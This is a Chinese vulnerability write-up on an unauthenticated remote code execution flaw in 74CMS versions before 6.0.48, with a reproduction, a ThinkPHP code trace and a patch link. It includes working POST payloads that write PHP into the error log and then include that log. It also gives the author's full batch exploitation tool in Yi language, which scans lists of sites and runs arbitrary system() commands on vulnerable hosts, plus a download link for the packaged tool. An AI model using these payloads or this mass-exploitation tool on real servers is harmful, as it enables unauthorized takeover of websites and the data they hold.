0`1 简介


骑士cms人才系统,是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才网站系统。软件具执行效率高、模板自由切换、后台管理功能方便等诸多优秀特点。(官网复制的…)

0`2 漏洞描述


骑士 CMS 官方发布安全更新,修复了一处远程代码执行漏洞。由于骑士 CMS 某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。

0`3 影响版本


74CMS < 6.0.48

0`4环境搭建


骑士cms不支持php7.0,所以建议使用php5,官网下载6.0.20版本。
https://www.74cms.com/downloadse/index.html

image.png
将源码放在web根目录下,访问/index.php进行安装。

0`5 漏洞复现


  1. http://[IP]/index.php?m=home&a=assign_resume_tpl
  2. POST:
  3. variable=1&tpl=<?php phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

image.png
2.查看日志会发现已经记录了错误。
image.png
3.包含日志进行RCE。

  1. http://[IP]/index.php?m=home&a=assign_resume_tpl
  2. POST:
  3. variable=1&tpl=data/Runtime/Logs/Home/20_12_12.log

因为是包含日志 所以日志就是当天时间记得修改
image.png

0`6 漏洞分析


路由:
(路由主要将URL中的控制器,办法解析出来,映射到对应的控制器和办法中。)
74cms利用了thinkphp3.2.3进行构建,查看ThinkPHP\Conf\convention.php中的路由配置:

  1. /* 系统变量名称设置 */
  2. 'VAR_MODULE' => 'm', // 默认模块获取变量
  3. 'VAR_ADDON' => 'addon', // 默认的插件控制器命名空间变量
  4. 'VAR_CONTROLLER' => 'c', // 默认控制器获取变量
  5. 'VAR_ACTION' => 'a', // 默认操作获取变量
  6. 'VAR_AJAX_SUBMIT' => 'ajax', // 默认的AJAX提交变量
  7. 'VAR_JSONP_HANDLER' => 'callback',
  8. 'VAR_PATHINFO' => 's', // 兼容模式PATHINFO获取变量,例如 ?s=/module/action/id/1 后面的参数取决于URL_PATHINFO_DEPR
  9. 'VAR_TEMPLATE' => 't', // 默认模板切换变
  10. 'VAR_AUTO_STRING' => false, // 输入变量是否自动强制转换为字符串 如果开启则数组变量需要手动传入变量修饰符获取变量
  11. 'HTTP_CACHE_CONTROL' => 'private', // 网页缓存控制
  12. 'CHECK_APP_DIR' => true, // 是否检查应用目录是否创建
  13. 'FILE_UPLOAD_TYPE' => 'Local', // 文件上传方式
  14. 'DATA_CRYPT_TYPE' => 'Think', // 数据加密方式

调用控制器中的某个方法便可以使用如下请求形式:

  1. ?m=&c=&a=&variable1=&variable2=...

在ThinkPHP\Common\functions.php的url方法已经给出了说明:

  1. /**
  2. * URL组装 支持不同URL模式
  3. * @param string $url URL表达式,格式:'[模块/控制器/操作#锚点@域名]?参数1=值1&参数2=值2...'
  4. * @param string|array $vars 传入的参数,支持数组和字符串
  5. * @param string|boolean $suffix 伪静态后缀,默认为true表示获取配置值
  6. * @param boolean $domain 是否显示域名
  7. * @return string
  8. */
  9. function U($url='',$vars='',$suffix=true,$domain=false,$type=false,$module_type=false) {
  10. // 解析URL
  11. ...
  12. return $url;
  13. }

日志记录:thinkphp定义了日志记录方式:在ThinkPHP/Library/Think/Log.class.php中的write方法:

  1. /**
  2. * 日志直接写入
  3. * @static
  4. * @access public
  5. * @param string $message 日志信息
  6. * @param string $level 日志级别
  7. * @param integer $type 日志记录方式
  8. * @param string $destination 写入目标
  9. * @return void
  10. */
  11. static function write($message,$level=self::ERR,$type='',$destination='') {
  12. if(!self::$storage){
  13. $type = $type ? : C('LOG_TYPE');
  14. $class = 'Think\\Log\\Driver\\'. ucwords($type);
  15. $config['log_path'] = C('LOG_PATH');
  16. self::$storage = new $class($config);
  17. }
  18. if(empty($destination)){
  19. $destination = C('LOG_PATH').date('y_m_d').'.log';
  20. }
  21. self::$storage->write("{$level}: {$message}", $destination);
  22. }

ERR代表一般性错误,会直接写入在y_m_d.log当中,上述代码中判断是否可正常执行 当无法执行时报错写入日志

模板解析:官方通告:
http://www.74cms.com/news/show-2497.html

提及到是
/Application/Common/Controller/BaseController.class.php
中的assign_resume_tpl方法出了问题

  1. /**
  2. * 渲染简历模板
  3. */
  4. public function assign_resume_tpl($variable,$tpl){
  5. foreach ($variable as $key => $value) {
  6. $this->assign($key,$value);
  7. }
  8. return $this->fetch($tpl);
  9. }

variable值任意,最终是要对tpl的内容进行渲染
调用了fetch方法,我们跟入
ThinkPHP/Library/Think/Controller.class.php:

  1. /**
  2. * 获取输出页面内容
  3. * 调用内置的模板引擎fetch方法,
  4. * @access protected
  5. * @param string $templateFile 指定要调用的模板文件
  6. * 默认为空 由系统自动定位模板文件
  7. * @param string $content 模板输出内容
  8. * @param string $prefix 模板缓存前缀*
  9. * @return string
  10. */
  11. protected function fetch($templateFile='',$content='',$prefix='') {
  12. return $this->view->fetch($templateFile,$content,$prefix);
  13. }

这里又调用了内置的模板解析方法fetch,位于
ThinkPHP/Library/Think/View.class.php:

  1. /**
  2. * 解析和获取模板内容 用于输出
  3. * @access public
  4. * @param string $templateFile 模板文件名
  5. * @param string $content 模板输出内容
  6. * @param string $prefix 模板缓存前缀
  7. * @return string
  8. */
  9. public function fetch($templateFile='',$content='',$prefix='') {
  10. if(empty($content)) {
  11. $templateFile = $this->parseTemplate($templateFile);
  12. // 模板文件不存在直接返回
  13. if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
  14. }else{
  15. defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
  16. }
  17. // 页面缓存
  18. ob_start();
  19. ob_implicit_flush(0);
  20. if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
  21. $_content = $content;
  22. // 模板阵列变量分解成为独立变量
  23. extract($this->tVar, EXTR_OVERWRITE);
  24. // 直接载入PHP模板
  25. empty($_content)?include $templateFile:eval('?>'.$_content);
  26. }else{
  27. // 视图解析标签
  28. $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
  29. Hook::listen('view_parse',$params);
  30. }
  31. // 获取并清空缓存
  32. $content = ob_get_clean();
  33. // 内容过滤标签
  34. Hook::listen('view_filter',$content);
  35. // 输出模板文件
  36. return $content;
  37. }

content为空进入第一个判断,判断模板文件是否为空
然后经过parseTemplate处理后,走如下个判断,判定TMPL_ENGINE_TYPE是否为php,由ThinkPHP/Conf/convention.php可知默认值为think。
image.png
于是走入else,调用了Hook::listen,继续跟入
位于ThinkPHP/Library/Think/Hook.class.php

  1. /**
  2. * 监听标签的插件
  3. * @param string $tag 标签名称
  4. * @param mixed $params 传入参数
  5. * @return void
  6. */
  7. static public function listen($tag, &$params=NULL) {
  8. if(isset(self::$tags[$tag])) {
  9. if(APP_DEBUG) {
  10. G($tag.'Start');
  11. trace('[ '.$tag.' ] --START--','','INFO');
  12. }
  13. foreach (self::$tags[$tag] as $name) {
  14. APP_DEBUG && G($name.'_start');
  15. $result = self::exec($name, $tag,$params);
  16. if(APP_DEBUG){
  17. G($name.'_end');
  18. trace('Run '.$name.' [ RunTime:'.G($name.'_start',$name.'_end',6).'s ]','','INFO');
  19. }
  20. if(false === $result) {
  21. // 如果返回false 则中断插件执行
  22. return ;
  23. }
  24. }
  25. if(APP_DEBUG) { // 记录行为的执行日志
  26. trace('[ '.$tag.' ] --END-- [ RunTime:'.G($tag.'Start',$tag.'End',6).'s ]','','INFO');
  27. }
  28. }
  29. return;
  30. }
  31. /**
  32. * 执行某个插件
  33. * @param string $name 插件名称
  34. * @param string $tag 方法名(标签名)
  35. * @param Mixed $params 传入的参数
  36. * @return void
  37. */
  38. static public function exec($name, $tag,&$params=NULL) {
  39. if('Behavior' == substr($name,-8) ){
  40. // 行为扩展必须用run入口方法
  41. $tag = 'run';
  42. }
  43. $addon = new $name();
  44. return $addon->$tag($params);
  45. }
  46. }

view_parse的行为定义如下:
image.png
exec会进行判断,当其值中含有Behavior,其入口方法必为run,我们跟入到ParseTemplateBehavior的run方法,其位置在
ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php

  1. // 行为扩展的执行入口必须是run
  2. public function run(&$_data){
  3. $engine = strtolower(C('TMPL_ENGINE_TYPE'));
  4. $_content = empty($_data['content'])?$_data['file']:$_data['content'];
  5. $_data['prefix'] = !empty($_data['prefix'])?$_data['prefix']:C('TMPL_CACHE_PREFIX');
  6. if('think'==$engine){ // 采用Think模板引擎
  7. if((!empty($_data['content']) && $this->checkContentCache($_data['content'],$_data['prefix']))
  8. || $this->checkCache($_data['file'],$_data['prefix'])) { // 缓存有效
  9. //载入模版缓存文件
  10. Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']);
  11. }else{
  12. $tpl = Think::instance('Think\\Template');
  13. // 编译并加载模板文件
  14. $tpl->fetch($_content,$_data['var'],$_data['prefix']);
  15. }
  16. }else{
  17. // 调用第三方模板引擎解析和输出
  18. if(strpos($engine,'\\')){
  19. $class = $engine;
  20. }else{
  21. $class = 'Think\\Template\\Driver\\'.ucwords($engine);
  22. }
  23. if(class_exists($class)) {
  24. $tpl = new $class;
  25. $tpl->fetch($_content,$_data['var']);
  26. }else { // 类没有定义
  27. E(L('_NOT_SUPPORT_').': ' . $class);
  28. }
  29. }
  30. }

因为engine的默认值为think,所以走入第一个判断,content不为空则载入缓存,若为空,即第一次加载,走入else,先实例化template类,调用了fetch方法,其位于
ThinkPHP/Library/Think/Template.class.php

  1. /**
  2. * 加载模板
  3. * @access public
  4. * @param string $templateFile 模板文件
  5. * @param array $templateVar 模板变量
  6. * @param string $prefix 模板标识前缀
  7. * @return void
  8. */
  9. public function fetch($templateFile,$templateVar,$prefix='') {
  10. $this->tVar = $templateVar;
  11. $templateCacheFile = $this->loadTemplate($templateFile,$prefix);
  12. Storage::load($templateCacheFile,$this->tVar,null,'tpl');
  13. }

调用loadTemplate(),将其存入templateCacheFile中
我们跟入loadTemplate()方法:

  1. /**
  2. * 加载主模板并缓存
  3. * @access public
  4. * @param string $templateFile 模板文件
  5. * @param string $prefix 模板标识前缀
  6. * @return string
  7. * @throws ThinkExecption
  8. */
  9. public function loadTemplate ($templateFile,$prefix='') {
  10. if(is_file($templateFile)) {
  11. $this->templateFile = $templateFile;
  12. // 读取模板文件内容
  13. $tmplContent = file_get_contents($templateFile);
  14. }else{
  15. $tmplContent = $templateFile;
  16. }
  17. // 根据模版文件名定位缓存文件
  18. ...
  19. // 判断是否启用布局
  20. ...
  21. // 编译模板内容
  22. $tmplContent = $this->compiler($tmplContent);
  23. Storage::put($tmplCacheFile,trim($tmplContent),'tpl');
  24. return $tmplCacheFile;
  25. }

精简了下代码,先获取文件内容,然后存入$tmplContent中,关注最后三行,调用compiler()方法对模板进行编译,做一些简单处理:
image.png
存入缓存文件中,然后返回,于是我们再回归到fetch()方法,调用了Storage::load,位于ThinkPHP/Library/Think/Storage/Driver/File.class.php:

  1. /**
  2. * 加载文件
  3. * @access public
  4. * @param string $filename 文件名
  5. * @param array $vars 传入变量
  6. * @return void
  7. */
  8. public function load($_filename,$vars=null){
  9. if(!is_null($vars)){
  10. extract($vars, EXTR_OVERWRITE);
  11. }
  12. include $_filename;
  13. }

这里直接就包含文件,最终造成了模板注入
利用:
而利用日志记录错误这个思路我们就可以直接在请求中发送如下payload:

  1. <?php phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

为什么不能使用get来请求,因为url在提交给后台处理会被进行url编码,从而造成包含不成功,因此要采取post方式发送payload

0`7 自写批量工具

这里也是为了方便验证,自写的一份工具,知道原理之后 我们来进行思路构造。(易语言可能会报毒 加入信任区就行了)
1.知道是通过报错写入日志
2.必须要POST方式来进行参数传输
3.构造的日志必须跟当天一样
4.为了方便后续渗透 支持GetShell
5.支持批量扫描网址
6.实现方便 提交.txt文件 来进行识别 方便提交
7.用易语言实现

  1. .版本 2
  2. .支持库 iext
  3. .支持库 dp1
  4. .支持库 spec
  5. .支持库 edroptarget
  6. .程序集 窗口程序集_启动窗口
  7. .子程序 _拖放对象1_得到文件
  8. .参数 接收到的文件路径, 文本型
  9. .局部变量 内容, 文本型
  10. .局部变量 文件号, 整数型
  11. .局部变量 分行内容, 文本型, , "0"
  12. .局部变量 循环次数, 整数型
  13. .局部变量 响应数据, 文本型
  14. .局部变量 payload, 文本型
  15. .局部变量 年, 文本型
  16. .局部变量 月, 文本型
  17. .局部变量 日, 文本型
  18. .局部变量 漏洞路径, 文本型
  19. .局部变量 结果, 整数型
  20. .局部变量 表项索引, 整数型
  21. .局部变量 随机值, 文本型
  22. .局部变量 MD5, 文本型
  23. 超级列表框1.全部删除 ()
  24. 状态条1.清空 ()
  25. .如果真 (到小写 (取文本右边 (接收到的文件路径, 3)) txt”)
  26. 返回 ()
  27. .如果真结束
  28. 置随机数种子 ()
  29. 随机值 到文本 (取随机数 (1, 100))
  30. MD5 取数据摘要 (到字节集 (随机值))
  31. 取文本右边 (到文本 (取年份 (取现行时间 ())), 2)
  32. 到文本 (取月份 (取现行时间 ()))
  33. 到文本 (取日 (取现行时间 ()))
  34. payload variable=1&tpl=data/Runtime/Logs/Home/” _ _ “.log&cmd=echo md5(” 随机值 “);”
  35. 文件号 打开文件 (接收到的文件路径, , )
  36. 内容 读入文本 (文件号, )
  37. 关闭文件 (文件号)
  38. 分行内容 分割文本 (内容, #换行符, )
  39. 漏洞路径 “/index.php?m=home&a=assign_resume_tpl
  40. .计次循环首 (取数组成员数 (分行内容), 循环次数)
  41. 响应数据 到文本 (网页_访问S (分行内容 [循环次数] 漏洞路径, 1, 到文本 (#post数据)))
  42. 响应数据 到文本 (网页_访问S (分行内容 [循环次数] 漏洞路径, 1, payload))
  43. 状态条1.清空 ()
  44. 状态条1.加入栏目 (“已加载:” 到文本 (循环次数 ÷ 取数组成员数 (分行内容) × 100) “%”, 100, , , 0)
  45. 调试输出 (响应数据)
  46. 结果 寻找文本 (响应数据, MD5, , 真)
  47. .如果 (结果 -1)
  48. 表项索引 超级列表框1.插入表项 (, , , , , )
  49. 超级列表框1.置标题 (表项索引, 0, 到文本 (循环次数))
  50. 超级列表框1.置标题 (表项索引, 1, 分行内容 [循环次数])
  51. 超级列表框1.置标题 (表项索引, 2, “存在漏洞”)
  52. .否则
  53. 表项索引 超级列表框1.插入表项 (, , , , , )
  54. 超级列表框1.置标题 (表项索引, 0, 到文本 (循环次数))
  55. 超级列表框1.置标题 (表项索引, 1, 分行内容 [循环次数])
  56. 超级列表框1.置标题 (表项索引, 2, “不存在漏洞”)
  57. .如果结束
  58. .计次循环尾 ()
  59. .子程序 __启动窗口_创建完毕
  60. 拖放对象1.注册拖放控件 (取窗口句柄 ())
  61. .子程序 __启动窗口_将被销毁
  62. 拖放对象1.撤消拖放控件 (取窗口句柄 ())
  63. .子程序 _按钮1_被单击
  64. .局部变量 年, 文本型
  65. .局部变量 月, 文本型
  66. .局部变量 日, 文本型
  67. .局部变量 payload, 文本型
  68. .局部变量 漏洞路径, 文本型
  69. .局部变量 响应数据, 文本型
  70. .局部变量 url, 文本型
  71. .局部变量 表项索引, 整数型
  72. .局部变量 结果, 整数型
  73. .局部变量 随机值, 文本型
  74. .局部变量 MD5, 文本型
  75. 超级列表框1.全部删除 ()
  76. ' 调试输出 (取数据摘要 (到字节集 (编辑框内容)))
  77. 置随机数种子 ()
  78. 随机值 = 到文本 (取随机数 (1, 100))
  79. MD5 = 取数据摘要 (到字节集 (随机值))
  80. 年 = 取文本右边 (到文本 (取年份 (取现行时间 ())), 2)
  81. 月 = 到文本 (取月份 (取现行时间 ()))
  82. 日 = 到文本 (取日 (取现行时间 ()))
  83. url = 编辑框1.内容
  84. payload = “variable=1&tpl=data/Runtime/Logs/Home/” + 年 + “_” + 月 + “_” + 日 + “.log&cmd=echo md5(” + 随机值 + “);”
  85. 漏洞路径 = “/index.php?m=home&a=assign_resume_tpl”
  86. 响应数据 = 到文本 (网页_访问S (url + 漏洞路径, 1, 到文本 (#post数据)))
  87. 响应数据 = 到文本 (网页_访问S (url + 漏洞路径, 1, payload))
  88. 结果 = 寻找文本 (响应数据, MD5, , 真)
  89. .如果 (结果 ≠ -1)
  90. 表项索引 = 超级列表框1.插入表项 (, , , , , )
  91. 超级列表框1.置标题 (表项索引, 0, “1”)
  92. 超级列表框1.置标题 (表项索引, 1, url)
  93. 超级列表框1.置标题 (表项索引, 2, “存在漏洞”)
  94. .否则
  95. 表项索引 = 超级列表框1.插入表项 (, , , , , )
  96. 超级列表框1.置标题 (表项索引, 0, “1”)
  97. 超级列表框1.置标题 (表项索引, 1, url)
  98. 超级列表框1.置标题 (表项索引, 2, “不存在漏洞”)
  99. .如果结束
  100. .子程序 _选择夹1_被单击
  101. .如果真 (选择夹1.现行子夹 = 2)
  102. 编辑框3.可视 = 真
  103. .如果真结束
  104. .如果真 (选择夹1.现行子夹 ≠ 2)
  105. 编辑框3.可视 = 假
  106. .如果真结束
  107. .子程序 _按钮2_被单击
  108. .局部变量 命令, 文本型
  109. .局部变量 目标, 文本型
  110. .局部变量 payload, 文本型
  111. .局部变量 年, 文本型
  112. .局部变量 月, 文本型
  113. .局部变量 日, 文本型
  114. .局部变量 执行结果, 文本型
  115. .局部变量 漏洞路径, 文本型
  116. .局部变量 响应数据, 文本型
  117. 目标 = 编辑框2.内容
  118. 命令 = 组合框1.内容
  119. 年 = 取文本右边 (到文本 (取年份 (取现行时间 ())), 2)
  120. 月 = 到文本 (取月份 (取现行时间 ()))
  121. 日 = 到文本 (取日 (取现行时间 ()))
  122. 漏洞路径 = “/index.php?m=home&a=assign_resume_tpl”
  123. payload = “variable=1&tpl=data/Runtime/Logs/Home/” + 年 + “_” + 月 + “_” + 日 + “.log&cmd=system(' 命令 ');”
  124. 响应数据 = 到文本 (网页_访问S (目标 + 漏洞路径, 1, 到文本 (#post数据)))
  125. 响应数据 = 到文本 (网页_访问S (目标 + 漏洞路径, 1, payload))
  126. 调试输出 (响应数据)
  127. 执行结果 = 文本_取出中间文本 (响应数据, #开头, #结尾)
  128. 编辑框3.内容 = 执行结果
  129. 调试输出 (执行结果)

打包下载链接:
链接: https://pan.baidu.com/s/1pk1Piiqca-lcVomWu85lqg 提取码: 6fdw

0`8 修复方式


下载最新补丁包

http://www.74cms.com/download/index.html